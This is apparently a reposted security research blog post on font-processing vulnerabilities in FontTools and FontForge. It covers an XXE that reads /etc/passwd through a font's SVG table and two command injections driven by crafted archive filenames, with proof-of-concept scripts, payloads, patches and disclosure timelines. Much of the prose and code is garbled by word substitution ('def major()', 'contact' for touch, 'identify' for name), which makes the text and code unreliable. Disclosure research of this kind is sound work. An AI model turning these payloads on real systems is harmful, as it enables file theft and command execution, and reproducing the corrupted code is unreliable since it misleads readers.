Now Reading
Fonts are nonetheless a Helvetica of a Downside

Fonts are nonetheless a Helvetica of a Downside

2024-03-05 22:57:44

At Canva, we’re constantly on the lookout for methods
to uplift the safety of our processes, software program, provide chain, and instruments on
our street to constructing the world’s most trusted platform. Canva processes
thousands and thousands of information throughout a broad vary of graphics codecs daily. To assist
us do that successfully, we use many open supply instruments and libraries.
Constructing on current analysis, we thought to have a look at much less explored assault
surfaces, corresponding to fonts that current a posh and prevalent a part of graphics
processing.

The next sections describe some vulnerabilities we found whereas
exploring this line of considering and display how safety points manifest in
font processing instruments.

Fonts have a long and convoluted history
that predates computing by a few years, for instance, the early printing press.
When bitmaps first introduced fonts to the digital realm, few may think about the place
we’d find yourself at this time.

a-brief-history-of-fonts

The present font panorama comprises many specs, every created for distinctive
use circumstances as required by firms and people alike. This case
leaves font processing software program builders with a troublesome problem, requiring
them to interpret vast specifications
throughout many codecs. The place there’s such complexity, there’s additionally loads of
assault floor.

This isn’t a brand new concept. In 2015, Google’s Project Zero
launched a series of blogs
round font safety vulnerability analysis, and the next 12 months, some blogs
centered on fuzzing for font dealing with vulnerabilities within the Home windows kernel.
In response to this analysis, the neighborhood made some important adjustments,
together with creating the OpenType Sanitizer
challenge and its utilization in Chrome and Firefox.

Though the earlier analysis centered totally on reminiscence corruption bugs in
font processing, we questioned what other forms of safety points may happen
when dealing with fonts.

The assault floor of SVG and XML parsers is a well-documented drawback within the
internet safety discipline (see PortSwigger
and OWASP).
Nonetheless, we had been shocked to find that the SVG format additionally seems in
digital typography in two distinctive methods.

Font codecs that observe the sfnt container
construction, like OpenType
and TrueType,
comprise plenty of tables wanted for the font to work as supposed. Nonetheless,
there are additionally many auxiliary tables, a few of that are poorly documented or
proprietary. One such auxiliary desk is the SVG desk.

The SVG table
helps supplying SVG definitions for glyphs in a font and is one among a number of
methods coloration fonts are supported.

Alternatively, it’s additionally potential, though deprecated
(as of SVG 2), to outline a font underneath the SVG specification itself. Such fonts
are referred to as SVG fonts. SVG fonts arose from a need to assist font description
capabilities underneath SVG whereas internet fonts (WOFF) had been still being adopted.
To embed a font in an SVG, the <font> factor is used together with another
elements like a <font-face-src>, which factors to the precise font definition
(for instance, an area TTF file).

We questioned then if we may reproduce well-understood SVG and XML dealing with
vulnerabilities on this planet of font processing.

Gained in translation – CVE-2023-45139

Fonts have the potential to be fairly giant, particularly once they assist a
giant number of scripts (languages) or comprise many glyphs like CJK
(China, Japan, Korea) fonts. Two widespread performance-enhancing operations are
compression and subsetting.

Font compression is a vital optimization that’s largely achieved by
changing TrueType and OpenType fonts to the WOFF format.

Subsetting takes a selected collection of a font’s glyphs (a subset) and extracts
them to a standalone file. An ideal use case for subsetting is eradicating unneeded
scripts from a font when the shopper’s desired language is understood. In such a case,
solely the glyphs required to characterize the characters in a shopper’s language want
be despatched to the shopper’s browser.

subsetting illustration

FontTools is a Pythonic do-it-all
utility for working with fonts. Though subsetting generally is a comparatively naive
operation (merely extracting glyphs matching a Unicode or character vary),
FontTools’ implementation performs extra size-reducing optimizations.

FontTools version 4.28.2
added assist for subsetting the SVG desk to be used in glyph coloring. To do that,
the SVG desk must be parsed to extract glyphIds matching these specified
to be included within the subset.

Taking a look at how FontTools processes the SVG desk in OTF fonts, we will see that
by default, the lxml XML parser resolves entities.
So, if the parser walks an untrusted XML file, an XML Exterior Entity (XXE)
vulnerability happens.

svg = etree.fromstring(

doc.knowledge.encode("utf-8"),

parser=etree.XMLParser(

huge_tree=True,

remove_blank_text=True,

),

)

Proof of idea

Understanding the XML parser used for subsetting the SVG desk is misconfigured to
enable for the decision of arbitrary entities, we will assemble an XML payload
to incorporate /and so on/passwd.

<?xml model="1.0"?>

<!DOCTYPE svg [<!ENTITY poc SYSTEM 'file:///etc/passwd'>]>

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">

<g id="glyph1">

<textual content font-size="10" x="0" y="10">&poc;</textual content>

</g>

</svg>

We then must pack the XML definition into the SVG table
in order that it’s legitimate sufficient to be subset by FontTools. We are able to write a script to
assist us right here by repurposing an current FontTools integration test
to rapidly create a sound font.

from string import ascii_letters

from fontTools.fontBuilder import FontBuilder

from fontTools.pens.ttGlyphPen import TTGlyphPen

from fontTools.ttLib import newTable

XXE_SVG = """

<?xml model="1.0"?>

<!DOCTYPE svg [<!ENTITY poc SYSTEM 'file:///etc/passwd'>]>

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">

<g id="glyph1">

<textual content font-size="10" x="0" y="10">&poc;</textual content>

</g>

</svg>

"""

def major():

glyph_order = [".notdef"] + listing(ascii_letters)

pen = TTGlyphPen(glyphSet=None)

pen.moveTo((0, 0))

pen.lineTo((0, 500))

pen.lineTo((500, 500))

pen.lineTo((500, 0))

pen.closePath()

glyph = pen.glyph()

glyphs = {g: glyph for g in glyph_order}

fb = FontBuilder(unitsPerEm=1024, isTTF=True)

fb.setupGlyphOrder(glyph_order)

fb.setupCharacterMap({ord(c): c for c in ascii_letters})

fb.setupGlyf(glyphs)

fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})

fb.setupHorizontalHeader()

fb.setupOS2()

fb.setupPost()

fb.setupNameTable({"familyName": "TestSVG", "styleName": "Common"})

svg_table = newTable("SVG ")

svg_table.docList = [

(XXE_SVG, 1, 12)

]

fb.font["SVG "] = svg_table

fb.font.save('poc-payload.ttf')

if __name__ == '__main__':

major()

Once we run the produced poc-payload.ttf towards the FontTools subsetting
utility, it produces a subsetted font with the next SVG desk, which
consists of the entity resolved to the /and so on/passwd file.

pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs

ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx

<?xml model="1.0" encoding="UTF-8"?>

<ttFont sfntVersion="x00x01x00x00" ttLibVersion="4.42">

<SVG>

<svgDoc endGlyphID="12" startGlyphID="1">

<![CDATA[<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g id="glyph1"><text font-size="10" x="0" y="10">##

# User Database

#

# Note that this file is consulted directly only when the system is running

# in single-user mode. At other times this information is provided by

# Open Directory.

#

# See the opendirectoryd(8) man page for additional information about

# Open Directory.

##

nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false

Patch and timeline

Following responsible disclosure, the maintainers were swift to implement a patch,
which disabled entity resolution (that is, XMLParser(resolve_entities=False)),
shortly followed by a release
including the fix.

  • September 13, 2023: Reported issue to FontTools maintainers.
  • September 16, 2023: FontTools maintainers release a patch.
  • October 12, 2023: CVE issued by GitHub.
  • January 09, 2024: Advisory published by the maintainers.

Historically, for size reduction, it was desirable to pack multiple fonts
(of the same or different formats) into one file. To do this, they established
the TrueType Collection (TTC) and Suitcase font formats.

true type collections illustration

To handle these formats, font software authors developed esoteric naming
conventions as a convenience mechanism for users to work with such files.

Tools like FontForge and ImageMagick adopted the naming convention of using parentheses after the filename (for example, Alef-Regular.dfont(1)) to allow users to specify the desired font inside the collection to edit. FontForge refers to such files collectively as ‘subfonts’.

This is noteworthy because it highlights the need to preserve the filename, which can lead to security challenges when operating on the untrusted data

:():& ;:.zip – CVE-2024-25081

When FontForge attempts to handle archive files, based on the input files extension, it attempts to solve the problem of extracting the files from the archive by leveraging the cross-platform system() libc API. Ordinarily, this could be okay because the only user-controlled data would be the filename, which could be sanitized.
However, preserving the original filename can be crucial to support working with subfonts.

Therefore, when assembling the command string for the archive list command the original filename is used, leading to a command injection vulnerability.

listcommand = malloc( strlen(archivers[i].unarchive) + 1 +

strlen( archivers[i].listargs) + 1 +

strlen( identify ) + 3 +

strlen( listfile ) +4 );

sprintf( listcommand,

"%s %s %s > %s",

archivers[i].unarchive,

archivers[i].listargs,

identify,

listfile );

if ( system(listcommand)!=0 ) {

}

Proof of idea

Understanding {that a} filename with an archive extension will make its method to this sink, we will assemble a easy proof of idea to display shell execution by together with shell escape or subshell tokens within the filename.

contact archive.zip;id;.zip

When equipped to Fontforge’s Open() process, the id command result’s printed to stdout.

fontforge -lang=ff -c 'Open($1);' archive.zip;id;.zip /tmp/zip.ttf

Copyright (c) 2000-2024. See AUTHORS for Contributors.

sh: 1: unzip: not discovered

uid=0(root) gid=0(root) teams=0(root)

sh: 1: .zip: not discovered

Patch and timeline

After liaising with the FontForge maintainers, we submitted a patch we developed, which was later merged by the maintainers.

  • January 19, 2024: Reported concern to FontForge maintainers.

  • February 6, 2024: Raised a pull request for the patch and merged it into the FontForge major department.

Font compression is a well-liked alternative for internet fonts as a result of it might probably scale back the quantity of knowledge downloaded by shoppers and enhance internet web page responsiveness. WOFF and WOFF2 (font varieties developed for the net) had been particularly designed to make use of compression, with WOFF utilizing ZLIB and WOFF2 utilizing Brotli (which provides a 30% discount in file measurement).

Nonetheless, different font codecs (corresponding to TTF) don’t natively assist compression and file sizes will be fairly giant. There are methods to treatment this, for instance, Google Fonts enables you to dynamically subset a font to solely what you want, gaining up to a 90% reduction in file size.

Due to font compression, it’s fashionable for fonts to be distributed as archive information, for each the compression facets and for bundling many font households collectively. Instruments like FontForge now embrace assist for coping with archive information. Some instruments may even attain into the archive file and modify information in situ (corresponding to exiftools), nonetheless, FontForge extracts the fonts first into a short lived listing to work on them.

Font tartare – CVE-2024-25082

A vulnerability was found when FontForge parses the Desk of Contents (TOC) for an archive file. The TOC is a listing of all of the information compressed within the archive and FontForge makes use of this to drag a font file out to carry out actions on.

The filename comes from the ArchiveParseTOC operate, which implies we will create an archive containing a malicious filename, bypassing conventional filename sanitization methods, and triggering our exploit. As acknowledged beforehand, filenames are essential when coping with fonts and that is one other instance of why it may be tough to sanitize them.

desiredfile = ArchiveParseTOC(listfile, archivers[i].ars, &doall);

unarchivecmd = malloc(strlen(archivers[i].unarchive) + 1 +

strlen( archivers[i].listargs) + 1 +

See Also

strlen( identify ) + 1 +

strlen( desiredfile ) + 3 +

strlen( archivedir ) + 30 );

sprintf(unarchivecmd,

"( cd %s ; %s %s %s %s ) > /dev/null",

archivedir,

archivers[i].unarchive,

archivers[i].extractargs,

identify,

doall ? "" : desiredfile );

if ( system(unarchivecmd)!=0 ) {

}

Utilizing this, it’s potential to get command injection in FontForge, both working in server mode or within the desktop utility.

Proof of idea

Understanding that FontForge unsafely handles the primary filename in an archive, we had been capable of craft a malicious payload containing system instructions to be executed. The POC script under generates a .tar archive file with our exploit as the primary file.

import tarfile

import os

exec_command = f"$(contact /tmp/poc)"

with tarfile.open("poc.tar", "w", format=tarfile.USTAR_FORMAT) as t:

t.addfile(tarfile.TarInfo(exec_command))

Utilizing the tar tf poc.tar command, we will listing the entire information within the archive.

$ tar tf poc.tar

$(contact /tmp/poc)

$ cat poc.tar

$(contact /tmp/poc)0000644000000000000000000000000000000000000010606 0ustar00

Just like CVE-2024-25081 we will open the file with FontForge and observe that our exploit triggers. Whether or not the file is opened by the CLI or GUI makes no distinction (aside from working system-specific instructions).

Patch and timeline

The patch concerned changing the entire system() calls with g_spawn_sync or g_spawn_async capabilities as a result of the GLIB spawn calls don’t run in a shell surroundings. Doing it this fashion, we will safely execute system instructions.

- snprintf( buf, sizeof(buf), "%s < %s > %s", compressors[compression].decomp, identify, tmpfn );

- if ( system(buf)==0 )

- return( tmpfn );

- free(tmpfn);

- return( NULL );

+ command[0] = compressors[compression].decomp;

+ command[1] = "-c";

+ command[2] = identify;

+ command[3] = NULL;

+

+ if (!g_spawn_async_with_pipes(

+ NULL,

+ command,

+ NULL,

+ G_SPAWN_DO_NOT_REAP_CHILD | G_SPAWN_SEARCH_PATH,

+ NULL,

+ NULL,

+ NULL,

+ NULL,

+ &stdout_pipe,

+ NULL,

+ NULL)) {

+ //command has failed

+ return( NULL );

+ }

+

+ // Learn from the pipe.

+ whereas ((bytes_read = learn(stdout_pipe, buffer, sizeof(buffer))) > 0) {

+ g_byte_array_append(binary_data, (guint8 *)buffer, bytes_read);

+ }

+ shut(stdout_pipe);

+

+ FILE *fp = fopen(tmpfn, "wb");

+ fwrite(binary_data->knowledge, sizeof(gchar), binary_data->len, fp);

+ fclose(fp);

+ g_byte_array_free(binary_data, TRUE);

The timeline corresponds to that of CVE-2024-25081.

Fonts are difficult and safely dealing with them is a troublesome drawback to unravel.
You need to deal with fonts like every other untrusted enter:

  • Implement sandboxing for something that processes fonts.
  • Make use of instruments like OpenType-Sanitizer.

It may be troublesome for maintainers to deal with safety issues, so having
safety engineers present patching can pace up the method and construct
rapport with the open supply neighborhood. We’d prefer to thank all of the maintainers
of open supply font software program and instruments for his or her exhausting work. Lastly, we hope to
see extra font safety analysis sooner or later as a result of we imagine it’s an space
nonetheless missing in safety maturity.

Source Link

What's Your Reaction?
Excited
0
Happy
0
In Love
0
Not Sure
0
Silly
0
View Comments (0)

Leave a Reply

Your email address will not be published.

2022 Blinking Robots.
WordPress by Doejo

Scroll To Top